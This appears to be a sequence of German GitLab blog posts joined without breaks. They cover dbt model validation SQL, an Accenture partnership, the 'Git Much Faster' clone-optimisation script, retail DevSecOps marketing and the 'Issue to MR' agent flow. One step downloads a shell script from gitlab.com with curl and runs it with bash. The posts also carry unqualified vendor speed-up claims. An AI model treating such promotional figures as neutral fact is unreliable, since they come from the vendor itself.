  SELECT 'custom_audience_history' AS table_name, COUNT(DISTINCT custom_audience_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_CUSTOM_AUDIENCE_HISTORY
  
  UNION ALL
  
  SELECT 'geolocation' AS table_name, COUNT(DISTINCT geolocation_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_GEOLOCATION
  
  UNION ALL
  
  SELECT 'interest' AS table_name, COUNT(DISTINCT interest_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_INTEREST
  
  UNION ALL
  
  SELECT 'time_zone' AS table_name, COUNT(DISTINCT time_zone_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TIME_ZONE
  
  -- Tabellen mit zusammengesetzten Primärschlüsseln
  UNION ALL
  
  SELECT 'ad_group' AS table_name, COUNT(DISTINCT CONCAT(ad_group_account_id, '|', ad_group_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_AD_GROUP
  
  UNION ALL
  
  SELECT 'targeting_community' AS table_name, COUNT(DISTINCT CONCAT(targeting_community_ad_group_id, '|', targeting_community_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_COMMUNITY
  
  UNION ALL
  
  SELECT 'targeting_custom_audience' AS table_name, COUNT(DISTINCT CONCAT(targeting_custom_audience_ad_group_id, '|', targeting_custom_audience_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_CUSTOM_AUDIENCE
  
  UNION ALL
  
  SELECT 'targeting_device' AS table_name, COUNT(DISTINCT targeting_device_fivetran_id) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_DEVICE
  
  UNION ALL
  
  SELECT 'targeting_geolocation' AS table_name, COUNT(DISTINCT CONCAT(targeting_geolocation_ad_group_id, '|', targeting_geolocation_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_GEOLOCATION
  
  UNION ALL
  
  SELECT 'targeting_interest' AS table_name, COUNT(DISTINCT CONCAT(targeting_interest_ad_group_id, '|', targeting_interest_id)) AS workspace_count
  FROM REDDIT_DBT_MODEL_GENERATION_PROD.WORKSPACE_MARKETING.WK_REDDIT_ADS_TARGETING_INTEREST
)


-- Abschließender Vergleich mit Validierungsergebnissen

SELECT 
  r.table_name,
  r.raw_count,
  w.workspace_count,
  r.raw_count - w.workspace_count AS count_difference,
  CASE 
    WHEN r.raw_count = w.workspace_count THEN '✅ BESTANDEN'
    WHEN r.raw_count > w.workspace_count THEN '⚠️ RAW > WORKSPACE (Erwartet durch Deduplizierung)'
    ELSE '❌ FEHLGESCHLAGEN - WORKSPACE > RAW (Unerwartet)'
  END AS validation_status,
  ROUND((w.workspace_count::FLOAT / r.raw_count::FLOAT) * 100, 2) AS data_retention_percentage
FROM raw_counts r

JOIN workspace_counts w ON r.table_name = w.table_name

ORDER BY r.table_name;

</details>

Die Ausführung dieser Abfrage zeigte:

• Null Unterschiede in der Zeilenanzahl nach Deduplizierung

• 100% Datenerhaltung über alle Tabellen hinweg

• Alle Tests erfolgreich bestanden

Das Fazit: Massive Zeitersparnis

• Traditioneller Ansatz: 6-8 Stunden manuelles Programmieren, Testen und Debugging

• GitLab Duo-Ansatz: 6-8 Minuten Generierung + Überprüfungszeit

Dies bedeutet eine 60-fache Verbesserung der Entwicklereffizienz (von 6-8 Stunden auf 6-8 Minuten) bei gleichbleibend hoher Codequalität.

Best Practices für den Erfolg

Basierend auf dieser Erfahrung sind hier die wichtigsten Empfehlungen:

Bereite deine Metadaten vor

• Extrahiere vollständige Tabellenstrukturen einschließlich Datentypen und Einschränkungen

• Identifiziere Primärschlüssel und Beziehungen im Voraus

• Exportiere saubere, gut formatierte CSV-Eingabedateien

Hinweis: Durch die Verbindung von GitLab Duo über MCP mit deinen (Meta-)Daten könntest du diesen manuellen Schritt ausschließen.

Biete klaren Kontext

• Referenziere nach Möglichkeit bestehende Beispiel-MRs

• Spezifiziere deine Codierungsstandards und Style Guides

• Sei explizit bei Ordnerstruktur und Namenskonventionen

Validiere gründlich

• Erstelle immer Validierungsabfragen für die Datenintegrität

• Teste lokal vor dem Mergen

• Führe deine CI/CD-Pipeline aus, um Probleme zu erkennen

Nutze KI für Folgeaufgaben

• Generiere Testabfragen automatisch

• Erstelle Dokumentationsvorlagen

• Baue Validierungsskripte

Was kommt als Nächstes

Diese Demonstration zeigt, wie KI-gestützte Entwicklungstools wie GitLab Duo auch Data-Engineering-Workflows transformieren. Die Fähigkeit, Hunderte von Zeilen produktionsreifem Code in Minuten zu generieren – komplett mit Tests, Dokumentation und ordnungsgemäßer Struktur – stellt einen fundamentalen Wandel dar, wie wir an repetitive Entwicklungsaufgaben herangehen.

Indem wir KI nutzen, um die repetitiven Aspekte der dbt-Modellerstellung zu bewältigen, können sich Dateningenieure auf Aktivitäten mit höherem Wert konzentrieren, wie Datenmodellierungsstrategie, Performance-Optimierung und Implementierung von Geschäftslogik.

Bereit, es selbst auszuprobieren? Beginne mit einem kleinen Datensatz, bereite deine Metadaten sorgfältig vor und sieh zu, wie GitLab Duo Stunden an Arbeit in Minuten automatisierter Generierung verwandelt.

Teste GitLab Duo Agent Platform noch heute.

Weiterlesen

• GitLab 18.3: KI-Orchestrierung im Software Engineering erweitern

• GitLab Duo Agent Platform Public Beta: Next-Gen KI-Orchestrierung und mehr

Ein Meilenstein in der Zusammenarbeit

Diese Zusammenarbeit kombiniert die umfassende, intelligente DevSecOps-Plattform von GitLab mit Accentures weitreichender Expertise in digitaler Transformation und Implementierungsdienstleistungen. Dies ermöglicht Organisationen, sichere Software in großem Maßstab zu entwickeln und bereitzustellen. Die globale Vertriebsvereinbarung bietet einen weltweiten Rahmen, der flexibel an lokale Bedingungen angepasst werden kann.

Die Zusammenarbeit wird sich zunächst auf mehrere Schlüsselbereiche konzentrieren:

DevSecOps-Transformation im Unternehmensmaßstab: Unterstützung von Organisationen bei der Modernisierung ihrer Entwicklungspraktiken und Optimierung ihres Software-Bereitstellungszyklus.

Mainframe-Modernisierung: Begleitung von Kunden bei der Migration von Legacy-Systemen.

GitLab Duo mit Amazon Q: Bereitstellung von KI-gestützter Softwareentwicklung für Organisationen, die ihre Entwicklungsgeschwindigkeit beschleunigen und gleichzeitig durchgängige Sicherheit und Compliance gewährleisten möchten.

Ausblick

Wir freuen uns darauf, unseren gemeinsamen Kunden dabei zu helfen, Innovationen zu beschleunigen, Entwicklungsprozesse zu optimieren und ihre Sicherheitslage zu stärken, um ihre Geschäftsziele effektiver zu erreichen.

Für weitere Informationen darüber, wie GitLab und Accenture Organisationen helfen können, besuche bitte unsere Partner-Website oder kontaktiere deinen Accenture- oder GitLab-Ansprechpartner.

Der Geschäftsfall: Was Git-Performance kostet

Stellen wir uns vor: Arbeit am Chromium-Projekt, das Repository muss geklont werden. git clone starten, einen Kaffee holen, E-Mails checken, vielleicht eine Mittagspause – und 95 Minuten später ist endlich das Arbeitsverzeichnis da. Das ist die Realität für Entwickler, die mit großen Repositories von 50 GB+ arbeiten.

Die Produktivitätsauswirkungen sind erheblich: CI/CD-Pipelines kommen zum Erliegen während sie auf Repository-Klone warten. Infrastrukturkosten steigen, da Compute-Ressourcen untätig bleiben. Entwickler-Frustration wächst, während Context-Switching zur Norm wird. Das Problem zeigt sich überall: Embedded-Teams erben Repositories mit Legacy-Firmware und Vendor-SDKs. Web-Anwendungen akkumulieren Marketing-Assets. Game-Development-Projekte enthalten 3D-Modelle und Audio-Dateien – Repository-Größen erreichen Dutzende von Gigabytes.

Enterprise-CI/CD-Pipelines leiden besonders: Jeder Job braucht frische Repository-Klone. Bei 20-90 Minuten Operationszeit erliegen ganze Entwicklungsworkflows. Infrastrukturkosten steigen durch untätige Compute-Ressourcen.

8-60x schneller – je nach Repository-Größe:

Git Much Faster demonstriert dramatische Verbesserungen durch rigoroses Benchmarking über reale Repositories mit konsistenter AWS-Infrastruktur:

Linux-Kernel-Repository (7,5 GB total): Standard clone dauerte 6 Minuten 29 Sekunden. Optimized clone erreichte 46,28 Sekunden – eine 88,1%ige Verbesserung, wodurch das .git-Verzeichnis von 5,9 GB auf 284 MB reduziert wurde.

Chromium-Repository (60,9 GB total): Standard clone benötigte 95 Minuten 12 Sekunden. Optimized clone erreichte 6 Minuten 41 Sekunden – eine beeindruckende 93%ige Verbesserung, wodurch das .git-Verzeichnis von 55,7 GB auf 850 MB komprimiert wurde.

GitLab-Website-Repository (8,9 GB total): Standard clone dauerte 6 Minuten 23 Sekunden. Optimized clone erreichte 6,49 Sekunden – eine bemerkenswerte 98,3%ige Verbesserung, wodurch das .git-Verzeichnis auf 37 MB reduziert wurde.

Die Benchmark-Daten zeigen klare Muster: Größere Repositories zeigen dramatischere Verbesserungen, binär-lastige Repositories profitieren am meisten von intelligenten Filtern, und optimierte Ansätze übertreffen konsistent sowohl standard Git als auch Gits eigenes Scalar-Tool.

Kosteneinsparungen für die gesamte Infrastruktur

Git clone-Optimierung reduziert auch die Systembelastung durch kleinere Anfragegrößen. GitLabs Gitaly Cluster profitiert direkt: Weniger server-seitige "pack file"-Erstellung bedeutet niedrigere Memory-, CPU- und I/O-Anforderungen. Der gesamte Stack wird schneller und günstiger.

Diese Infrastructure-Einsparungen multiplizieren sich in Enterprise-Umgebungen: Reduzierte Dimensionierung der Git-Server, weniger Netzwerk-Overhead, optimierte Storage-Nutzung. Alle Schichten profitieren gleichzeitig.

Typische Enterprise-Anwendungsfälle

Embedded Development: Legacy-Firmware, FPGA-Bitstreams, PCB-Layouts treiben Repository-Größen hoch. Build-Prozesse klonen oft Dutzende externe Repositories, multiplizieren die Performance-Auswirkungen.

Enterprise-Monorepos: Mehrere Projekte, akkumulierte Historie. Media-Assets verstärken das Problem – Web-Apps mit Marketing-Assets, Games mit 3D-Modellen über 100 GB.

CI/CD-Pipelines: Jeder Job braucht frische Klone. Bei 20-90 Minuten werden Workflows unbrauchbar. Hier zeigen sich die größten Produktivitätsgewinne.

Verteilte Teams: Limitierte Netzwerk-Performance zu Development-Workstations profitiert von reduzierten Over-the-Wire-Größen.

Die technische Umsetzung: Wie es funktioniert

Git Much Faster ist ein Script, das ich als Enablement-Tool entwickelt habe, um verschiedene Clone-Optimierungsansätze auf demselben Client zu benchmarken – ob Entwickler-Workstation, CI, Cloud-Umgebungen oder GitOps-Klone. Es enthält kuratierte Konfigurationen für schnellste Clone-Optimierung, die sich als Ausgangspunkt nutzen lassen.

Die Lösung adressiert die grundlegende Herausforderung: Gits Standard-Clone-Verhalten priorisiert Sicherheit über Geschwindigkeit. Bei großen Codebasen, Binär-Assets oder Monorepo-Strukturen wird das zum erheblichen Engpass.

Vier Benchmark-Strategien im Vergleich

Git Much Faster löst dies durch umfassendes Benchmarking, das vier verschiedene Strategien vergleicht: standard git clone (Baseline mit vollständiger Historie), optimized git clone (custom Konfigurationen mit deaktivierter Kompression und sparse checkout), Gits Scalar clone (integriertes partial cloning) und current directory assessment (Analyse bestehender Repositories ohne erneutes Klonen).

Das Tool bietet messbare, wiederholbare Benchmarks in kontrollierten AWS-Umgebungen. Die wahre Stärke: alle Benchmarks lassen sich in der spezifischen Umgebung ausführen – auch bei langsamen Netzwerkverbindungen findet sich die optimale Clone-Strategie.

Zwei Schlüssel-Konfigurationen für 93% Zeitersparnis

Die bedeutendsten Gewinne stammen aus zwei Optimierungen:

Erste Optimierung – core.compression=0: Eliminiert CPU-intensive Kompression während Netzwerkoperationen. Bei modernen Hochgeschwindigkeitsnetzwerken überschreiten CPU-Zyklen oft die Bandbreiteneinsparungen. Allein diese Optimierung reduziert Clone-Zeiten um 40%–60%.

Zweite Optimierung – http.postBuffer=1024M: Erhöht Gits konservative HTTP-Buffer-Größe. Große Repositories profitieren enorm – Git kann größere Operationen handhaben ohne Aufteilen in mehrere Requests.

Zusätzlich nutzt Git Much Faster shallow clones (--depth=1) und partial clones (--filter=blob:none). Shallow clones reduzieren Daten um 70%–90%, partial clones helfen bei Repositories mit großen Binär-Assets. Sparse checkout kontrolliert ausgecheckte Dateien chirurgisch präzise – 30+ Binärdateitypen werden ausgeschlossen, Working-Directory-Größe sinkt um 78%.

Gits Scalar-Tool kombiniert partial clone, sparse checkout und Background-Wartung. Tests zeigen jedoch: Der custom optimized approach übertrifft Scalar um 48%–67% bei ähnlichen Disk-Space-Einsparungen.

Sofortige Implementierung in drei Schritten

Die Implementierung erfordert das Verständnis, wann welche Technik basierend auf Use Case und Risikotoleranz anzuwenden ist. Für Development, das vollständigen Repository-Zugang erfordert: standard Git cloning nutzen. Für read-heavy Workflows, die schnellen Zugang zu aktuellem Code benötigen: optimized cloning einsetzen. Für CI/CD-Pipelines, wo Geschwindigkeit paramount ist: optimized cloning bietet maximalen Nutzen.

Der Einstieg erfordert nur einfachen Download und Ausführung:

curl -L https://gitlab.com/gitlab-accelerates-embedded/misc/git-much-faster/-/raw/master/git-much-faster.sh -o ./git-much-faster.sh



# Für Benchmarking


bash ./git-much-faster.sh --methods=optimized,standard --repo=https://github.com/your-org/your-repo.git

Für production-grade Testing enthält das Git Much Faster-Projekt komplette Terraform-Infrastruktur für AWS-Deployment, wodurch sich Variablen eliminieren lassen, die lokale Testergebnisse verzerren.

Wichtige Einschränkungen beachten

Optimized clones haben Limitierungen: Shallow clones verhindern Zugang zu historischen Commits. Lösung: Entwickler starten optimized, konvertieren bei Bedarf via git fetch --unshallow zu full clones. CI-Jobs mit Commit-Historie-Zugriff brauchen möglicherweise vollständige Historie.

Transformative Ergebnisse für deutsche Teams

Git clone-Optimierung liefert messbare Verbesserungen – bis zu 93% weniger Clone-Zeit, 98% weniger Disk-Space-Usage. Gits konservativer Standard-Ansatz lässt erhebliche Performance-Gelegenheiten ungenutzt.

Für deutsche Entwicklungsteams: Reduzierte CI/CD-Wartezeiten steigern tägliche Produktivität, geringere Infrastrukturkosten ermöglichen relevante Kosteneinsparungen in Enterprise-Umgebungen.

Einfach starten mit dem Git Much Faster Repository – read-only Optimierung in CI/CD-Pipelines beginnen, schrittweise auf Development-Workflows erweitern basierend auf gemessenen Ergebnissen.

Traditionelle Sicherheitsansätze, die früher funktionierten, können heute nicht mehr mithalten. Sicherheitsprozesse werden oft nachträglich hinzugefügt, was Teams verlangsamt und Risiken erhöht. Aber so muss es nicht sein.

Moderne Plattformen integrieren Sicherheit in den gesamten Entwicklungs-Lebenszyklus und machen Security zu einem nahtlosen Teil des Entwickler-Workflows, nicht zu einer Barriere für die Bereitstellung. Dieser Ansatz verwandelt Sicherheit in einen strategischen Vorteil und ermöglicht Innovation ohne Kompromisse.

In diesem Artikel erfährst du, wie eine integrierte DevSecOps-Plattform Retail-Teams dabei hilft, steigenden Sicherheitsanforderungen gerecht zu werden, ohne die Bereitstellung zu verlangsamen oder die Kundenerfahrung zu beeinträchtigen.

Warum Retail-Sicherheit einen anderen Ansatz erfordert

Im Einzelhandel geht es bei Sicherheit um mehr als nur Datenschutz – es geht um den Schutz der Kundenerfahrung, die für das Geschäftsergebnis entscheidend ist. Jede Verlangsamung, jeder Ausfall oder jede Schwachstelle kann zu Umsatzverlusten und gebrochenem Vertrauen führen. Handelsplattformen müssen online bleiben, Compliance-Standards erfüllen und sich gegen ununterbrochene Angriffe aus dem offenen Internet verteidigen. Im Gegensatz zu Unternehmenssystemen sind sie vollständig öffentlich zugänglich und haben eine viel breitere Angriffsfläche. Füge Drittanbieter-Integrationen, APIs und Legacy-Systeme hinzu, und es wird klar: Traditionelle Sicherheitsansätze reichen nicht aus.

Zur Komplexität kommt hinzu, dass Händler vor einzigartigen Herausforderungen stehen, die ihre Sicherheitsrisiken weiter erhöhen, darunter:

Fragilität der Lieferkette und API-Wildwuchs

Versandverzögerungen, globale Instabilität und vernetzte Systeme stören die Logistik. Fast die Hälfte der Händler berichtet über Probleme mit der Produktverfügbarkeit, und 25 % fehlt die Echtzeit-Bestandstransparenz, laut einer Umfrage von Fluent Commerce 2024. Während KI-gestützte Prognosen helfen, schaffen unsichere APIs und fragile Integrationen in der digitalen Lieferkette Angriffsvektoren.

Legacy-Systeme treffen auf moderne Anforderungen

Viele Händler arbeiten mit monolithischen, veralteten Systemen, die Schwierigkeiten haben, mobile Apps, IoT-Geräte und Echtzeit-Analysen sicher zu unterstützen. Ohne sichere, agile Grundlagen wird jeder neue digitale Berührungspunkt zu einer potenziellen Schwachstelle.

KI- und Compliance-Komplexität

KI verändert Einzelhandelserlebnisse durch personalisierte Empfehlungen und fortschrittliche Kundenverfolgungstechnologien wie Beacon-Sensoren, Gesichtserkennung und mobile App-Standortdienste, die Bewegungen und Verhalten in physischen Geschäften überwachen. Diese KI-gestützten Systeme verbessern sowohl Kundenerlebnisse als auch Nachfrageprognosen für Händler. Allerdings erfordern die DSGVO (die Datenschutz-Grundverordnung der Europäischen Union) und ähnliche globale Datenschutzgesetze sichere Datenverarbeitung und transparente KI-Logik. Sicherheitsfehler können zu erheblichen Geldstrafen und dauerhaftem Reputationsschaden führen.

Risiken bei kundenorientierten Automatisierungen

Self-Checkouts, Kioske und Chatbots versprechen Komfort und Kosteneinsparungen, aber oft fehlt die Sicherheitshärtung. Diese Berührungspunkte werden zu Einstiegspunkten für Cyberangreifer und ermöglichen traditionellen Diebstahl durch schwache Betrugserkennung, begrenzte Überwachung und leicht manipulierbare Systeme, die Ladendiebstahl schwerer erkennbar machen.

Unterschiedliche Bedrohungsflächen

Händler befinden sich in einer einzigartigen Position, in der sie über mehrere Vektoren hinweg sichern müssen, die oft von global verteilten Teams gepflegt werden (je nach Größe der Organisation). E-Commerce-Plattformen, mobile Anwendungen, Point-of-Sale-(POS-)Systeme und IoT-Geräte im Geschäft bieten jeweils einen Einstiegspunkt für Bedrohungsakteure mit einzigartigen Eigenschaften, die verschiedene Sicherheitslösungen erfordern, um Widerstandsfähigkeit zu gewährleisten.

Dies schafft ein einzigartiges Paradoxon: Händler müssen schneller als je zuvor innovieren und gleichzeitig höhere Sicherheitsstandards als die meisten Branchen einhalten, während sie nahtlose Kundenerlebnisse über jeden Kanal hinweg liefern.

Warum traditionelle AppSec im Einzelhandel versagt

Die meisten Händler verlassen sich auf unverbundene Sicherheitstools wie statische Anwendungssicherheitstests (SAST), Lizenzprüfer und Schwachstellenbewertungen, die isoliert arbeiten. Dieser fragmentierte Ansatz schafft kritische Lücken:

• Begrenzte Lebenszyklusabdeckung: Tools konzentrieren sich auf enge Entwicklungsphasen und verpassen Lieferketten- und Laufzeitrisiken.
• Integrationsherausforderungen: Lücken in Legacy-Systemen und schlechte Tool-Konnektivität schaffen Sicherheitsblindpunkte zwischen Teams und Lösungen.
• Manuelle Prozesse: Sicherheitsübergaben schaffen Engpässe, und Probleme werden oft spät entdeckt, wenn sie kostspieliger zu beheben sind.
• Team-Silos: Sicherheit bleibt isoliert von täglichen Entwicklungsworkflows und getrennt von Compliance- und IT-Teams.

Der Weg nach vorn

In der heutigen Einzelhandelslandschaft kann Sicherheit Innovation nicht verlangsamen. Die direkte Einbettung in den Entwicklungslebenszyklus und die Zusammenführung aller Teams auf einer einheitlichen DevSecOps-Plattform macht Sicherheit zu einem strategischen Vorteil statt zu einem Engpass.

Eine DevSecOps-Plattform ermöglicht sichere Innovation im großen Maßstab

GitLab bietet das umfassendste Set an Sicherheitsscannern zur Maximierung der Anwendungsabdeckung, einschließlich:

• SAST
• DAST
• Abhängigkeitsscannen
• Container-Scannen
• Geheimnis-Erkennung
• Infrastructure-as-Code-Scannen
• Fuzz-Testing

Aber bei Sicherheit geht es nicht nur ums Scannen. Es geht darum, die richtigen Richtlinien durchzusetzen, um sicherzustellen, dass Schwachstellen konsistent identifiziert und behoben werden. Mit GitLab erhalten Sicherheitsteams volle Kontrolle, um sicherzustellen, dass der richtige Scan zur richtigen Zeit auf der richtigen Anwendung ausgeführt wird und dass die Ergebnisse behandelt werden, bevor sie in die Produktion gelangen.

<center><i>Sicherheitsscans laufen in der CI/CD-Pipeline und liefern sofortiges Feedback zu potenziellen Schwachstellen.</i></center> <p></p>

<center><i>Der Schwachstellenbericht zeigt alle Schwachstellen für ein bestimmtes Projekt oder eine Gruppe.</i></center>

Eine Plattform für Dev, Sec und Ops

Retail-Teams verschwenden unzählige Stunden damit, zwischen Tools zu wechseln, Daten manuell zu übertragen, Informationen zwischen Systemen aufgrund fragiler Integrationen zu verlieren und widersprüchliche Berichte abzugleichen. Eine einheitliche Plattform beseitigt diese Reibung:

• Einzige Quelle der Wahrheit für Quellcode, Pipelines, Schwachstellen und Compliance
• Kein Integrationsaufwand oder Tool-Kompatibilitätsprobleme
• Konsistente Workflows über alle Teams und Projekte

Das Ergebnis? Teams verbringen Zeit mit der Lösung von Problemen anstatt mit der Verwaltung von Tools.

<center><i>Im Compliance-Center kannst du Compliance-Frameworks für deine Projekte durchsetzen.</i></center> <p></p>

<center><i>Im Merge Request benötigen Entwickler(innen) eine Genehmigung, wenn Risiken erkannt werden, bevor Code gemergt wird, gemäß definierten Richtlinien.</i></center>

Geteilte Sicherheitsverantwortung, keine Silos

Die erfolgreichsten Retail-Sicherheitsprogramme machen Sicherheit zur Verantwortung aller, nicht nur zur Last des Sicherheitsteams.

Entwickler(innen)-Ermächtigung

Sicherheits- und Compliance-Anleitungen erscheinen direkt in Merge Requests, wodurch es unmöglich wird, kritische Probleme zu übersehen. Entwickler(innen) erhalten sofortiges Feedback zu jedem Commit mit klaren Erklärungen zu Risiken und Behebungsschritten. Zum Beispiel helfen KI-gestützte Schwachstellenerklärung und Schwachstellenbehebung Entwickler(inne)n, Sicherheitsprobleme unabhängig zu verstehen und zu beheben, wodurch Engpässe reduziert und Sicherheitsexpertise im gesamten Team aufgebaut wird.

<center><i>Schwachstellenseite mit Schaltfläche zur Erklärung oder Lösung von Problemen mit KI. Hilft, die Wissenslücke mit KI zu überbrücken.</i></center>

<p></p>

Automatisierte Compliance

Generiere Audit-Berichte, verfolge die Lizenznutzung und pflege eine Software-Stückliste (SBOM) ohne manuellen Aufwand.

<center><i>GitLabs automatisierter Abhängigkeitsbericht bietet eine umfassende SBOM, die alle Projektabhängigkeiten mit ihrem Schwachstellenstatus, Lizenzdetails und Sicherheitsergebnissen für vollständige Transparenz und Compliance anzeigt.</i></center> <p></p>

Dieser Ansatz verwandelt Sicherheit von einem HIndernis, das die Bereitstellung verlangsamt, in ein Fundament, das selbstbewusste, schnelle Innovation ermöglicht.

Plattform vs. Einzeltools: Was Händler wissen müssen

Das Fazit: Sicherheitsexzellenz treibt den Einzelhandelserfolg voran

Im Einzelhandel geht es bei Sicherheit nicht nur um Datenschutz, sondern um den Schutz der Kundenerfahrung, die den Umsatz antreibt. Wenn Sicherheit Veröffentlichungen verlangsamt oder Schwachstellen schafft, wirkt sich das direkt auf den Umsatz aus. Kunden erwarten jedes Mal sichere, nahtlose Erlebnisse.

GitLabs integrierte DevSecOps-Plattform hilft Händlern:

• Schneller bereitzustellen ohne Sicherheitskompromisse mit automatisierten Scans, die Probleme erkennen, bevor Kunden es tun.
• Compliance-Anforderungen mühelos zu erfüllen durch integrierte Berichterstattung für DSGVO, PCI-DSS und Branchenstandards.
• Sicherheitstoolkosten erheblich zu senken durch Ersatz mehrerer Einzellösungen mit einer Plattform.
• Entwickler(innen) zu Sicherheitsbefürwortern zu machen mit Anleitung und Automatisierung, nicht mit Hindernissen.

Teste hier einige der Sicherheitsfunktionen von GitLab:

• Schwachstellen mit GitLab Duo beheben
• Scans zur Pipeline hinzufügen
• Compliance-Frameworks
• Erweiterte SAST

Bereit loszulegen? Entdecke, wie GitLab Ultimate mit Duo Enterprise deine Retail-Sicherheitsstrategie mit einer kostenlosen Testversion optimieren kann.

"Issue to MR" ist ein Agent Flow, der die Umwandlung eines klar definierten Issues in einen Draft Merge Request (MR) vereinfacht. Der Flow analysiert die Beschreibung und Anforderungen eines Issues, öffnet einen Draft MR, der mit dem Issue verknüpft ist, erstellt einen Entwicklungsplan und schlägt eine Implementierung vor – direkt aus der GitLab-Oberfläche.

Die Herausforderung für Entwickler

Produktanpassungen wie das Umgestalten eines UI-Layouts, das Anpassen der Komponentengröße oder kleine Workflow-Änderungen sollten nicht stundenlange Einrichtungsarbeiten erfordern. Doch Entwickler finden sich in einem frustrierenden Kreislauf wieder: Sie durchsuchen Codebasen nach den richtigen Dateien, erstellen Branches, fügen verstreute Änderungen über mehrere Komponenten zusammen und navigieren durch komplexe Review-Prozesse. Und das alles, bevor sie überhaupt sehen können, ob ihre Lösung funktioniert. Der Entwicklungsaufwand verwandelt einfache Iterationen in zeitaufwändige Aufgaben, verlangsamt Feedback-Schleifen und lässt kleine Produktverbesserungen wie große Projekte erscheinen.

Wie der Issue to MR Flow eine Anwendungsaktualisierung beschleunigt

Du musst zuerst diese Voraussetzungen erfüllen, bevor du den Issue to MR Flow nutzen kannst.

Voraussetzungen:

• Ein bestehendes Issue mit klaren Anforderungen und Akzeptanz-Kriterien. Dies hilft GitLab Duo Agent Platform besser zu verstehen, was du erreichen möchtest, und verbessert die Qualität deiner Ausgabe.
• Projektzugriff mit mindestens Developer-Berechtigungen, da der Flow Änderungen am Quellcode deines Projekts vornimmt.
• GitLab Duo Agent Platform für deine Gruppe oder dein Projekt aktiviert, mit erlaubten Flows. Gehe dazu in deinem Projekt zu Einstellungen > Allgemein > GitLab Duo > Flow-Ausführung erlauben und aktiviere es. GitLab ist bestrebt, Sicherheitsvorkehrungen zu bieten, daher erfordern Agentic-AI-Funktionen das Aktivieren dieser Schalter, um sensible Projekte zu schützen und sicherzustellen, dass nur die gewünschten Projekte für GitLab Duo Agent Platform zugänglich sind.

Sobald du alle oben genannten Voraussetzungen erfüllt hast, kannst du diese Schritte befolgen, um den Issue to MR Flow zu nutzen:

1. Erstelle ein Projekt-Issue, das beschreibt, was GitLab Duo Agent Platform für dich erreichen soll. Gib so viele Details wie möglich in der Issue-Beschreibung an. Falls das Issue bereits existiert, öffne es über Plan > Issues und klicke auf das Issue, das die gewünschte Aktualisierung beschreibt. Drücke dich so präzise wie möglich aus.
2. Klicke unter der Issue-Überschrift auf Generate MR with Duo, um den Flow zu starten.
3. Wenn du den Fortschritt der Agenten bei der Implementierung deines Issues verfolgen möchtest, gehe zu Automate > Agent sessions, um das Live-Session-Log zu sehen, während Agenten planen und Änderungen vorschlagen.
4. Wenn die Pipeline abgeschlossen ist, erscheint ein Link zum MR in der Issue-Aktivität. Öffne ihn, um die Zusammenfassung und dateibasierte Änderungen zu überprüfen.
5. Wenn du die von GitLab Duo Agent Platform vorgeschlagenen Aktualisierungen lokal validieren möchtest, kannst du den Branch auf deinen Laptop ziehen, deine App erstellen und ausführen und überprüfen, ob die Aktualisierung wie erwartet funktioniert. Falls nötig, nimm Änderungen im MR vor und fahre mit dem normalen Review fort.
6. Wenn du mit allen vorgeschlagenen Anwendungsaktualisierungen zufrieden bist, merge den MR in den Main Branch.

Warum der Issue to MR Flow gut für Anwendungsänderungen funktioniert

Der Issue to MR Flow schlägt Code-Änderungen vor und aktualisiert den MR direkt, sodass du weniger Zeit mit der Dateisuche verbringst und nur das Ergebnis bewerten und überprüfen musst. Zusätzlich wird der MR automatisch mit dem ursprünglichen Issue verknüpft, was den Kontext für Reviewer und Stakeholder klar hält. Schließlich kannst du die Agent-Session überwachen, um zu verstehen, was bei jedem Schritt passiert.

Vorteile von GitLab Duo Agent Platform

GitLab Duo Agent Platform ist eine agentische Orchestrierungsschicht, die vollständigen Projektkontext mitbringt, einschließlich Planung, Codierung, Erstellung, Sicherung, Bereitstellung und Überwachung, sodass Agenten im gesamten Software-Entwicklungslebenszyklus (SDLC) helfen können, nicht nur bei der Code-Bearbeitung.

• Einheitliches Datenmodell: GitLab Duo Agents arbeiten mit GitLabs einheitlichen SDLC-Daten und ermöglichen qualitativ hochwertigere Entscheidungen und Zusammenarbeit bei Aufgaben – auch bei nicht codebezogenen.
• Sicherheit und Compliance sind integriert: GitLab Duo Agents laufen innerhalb von Enterprise-Sicherheitsvorkehrungen und sind auch in stark regulierten oder Offline-/Air-Gap-Umgebungen nutzbar.
• Interoperabilität und Erweiterbarkeit: Orchestriere Flows über Anbieter und Tools hinweg; verbinde externe Daten über MCP/A2A für reicheren Kontext.
• Skaliere die Zusammenarbeit: GitLab Duo Agents arbeiten in der GitLab-UI und IDEs und ermöglichen Viele-zu-Viele-Mensch-Agent-Zusammenarbeit.
• Auffindbar und teilbar: Finde und teile Agents und Flows in einem zentralisierten AI-Katalog.

Probiere den Issue to MR Flow noch heute aus

Für Anwendungsaktualisierungen, wie eine kleine UI-Anpassung, hilft dir der Issue to MR Flow, schnell von einem klaren Issue zu einem überprüfbaren MR zu gelangen, mit Fortschritt, den du überwachen kannst, und Änderungen, die du validieren und über deinen Standardworkflow mergen kannst. Er bewahrt den Kontext, reduziert Übergaben und lässt dein Team sich auf Qualität statt auf Routinearbeit konzentrieren.

Sieh dir den Issue to MR Flow in Aktion an:

<!-- blank line -->

<figure class="video_container"> <iframe src="https://www.youtube.com/embed/BrrMHN4gXF4?si=J7beTgWOLxvS4hOw" frameborder="0" allowfullscreen="true"> </iframe> </figure> <!-- blank line -->

